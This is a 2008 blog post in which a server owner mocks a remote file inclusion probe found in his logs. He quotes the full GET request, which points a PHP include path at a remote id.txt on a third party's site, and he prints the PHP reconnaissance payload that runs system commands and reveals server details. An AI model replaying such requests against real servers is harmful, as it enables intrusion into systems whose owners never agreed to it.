Script kiddie hacks
2008/12/24 filed under /phpEvery now and then, I follow links of dumb script kiddie hacks. If you have a webserver, you probably recognize GET requests like:
index.php?option=com_mtree&task=listcats&cat_id=1792&Itemid=35&mosConfig_absolute_path=http://killearnlakeshoa.org/calendar/includes/.bash/id.txt?
First of all, I run close to no php scripts, so the chances of trying this on my server and actually exploiting some badly written php product are close to zero, but who cares. Let them try.
So, what is this id.txt actually doing? It's usually launching some php code and based on that, the kiddie knows whether to investigate the server further. Still, no problems with that: make my day.
I'm not a php coder, but even I know this is just plain horrible code:
<? echo "ALBANIA<br />"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER['SERVER_NAME']; $alb8 = gethostbyname($SERVER_ADDR); $alb9 = get_current_user(); $os = @PHP_OS; echo "os: $os<br />"; echo "uname -a: $alb<br />"; echo "uptime: $alb2<br />"; echo "id: $alb3<br />"; echo "pwd: $alb4<br />"; echo "user: $alb9<br />"; echo "phpv: $alb6<br />"; echo "SoftWare: $alb5<br />"; echo "ServerName: $alb7<br />"; echo "ServerAddr: $alb8<br />"; echo "UNITED ALBANIANS aka ALBOSS PARADISE<br />"; exit; ?>
Ok, United Albanians, learn to code, then come back and try to hack into my system. It'll take a year or 10 before that happens, so I'm not afraid ;-)


Last night my dad called me to inform me my server was not functioning
correctly. Funny, 'cause I was working on it as he called, so I asked
him to explain his problems in a little more detail. The problem, or so
it turned out, was that he couldn't send any emails and the


Last Friday, I received a call by a friend who invited me to an Endstille
gig. He asked me why I didn't reply to his mail. Odd, I thought, for I did
reply within 10 minutes after receiving. A day or so later, still no email,
so I decided to do a little testing.










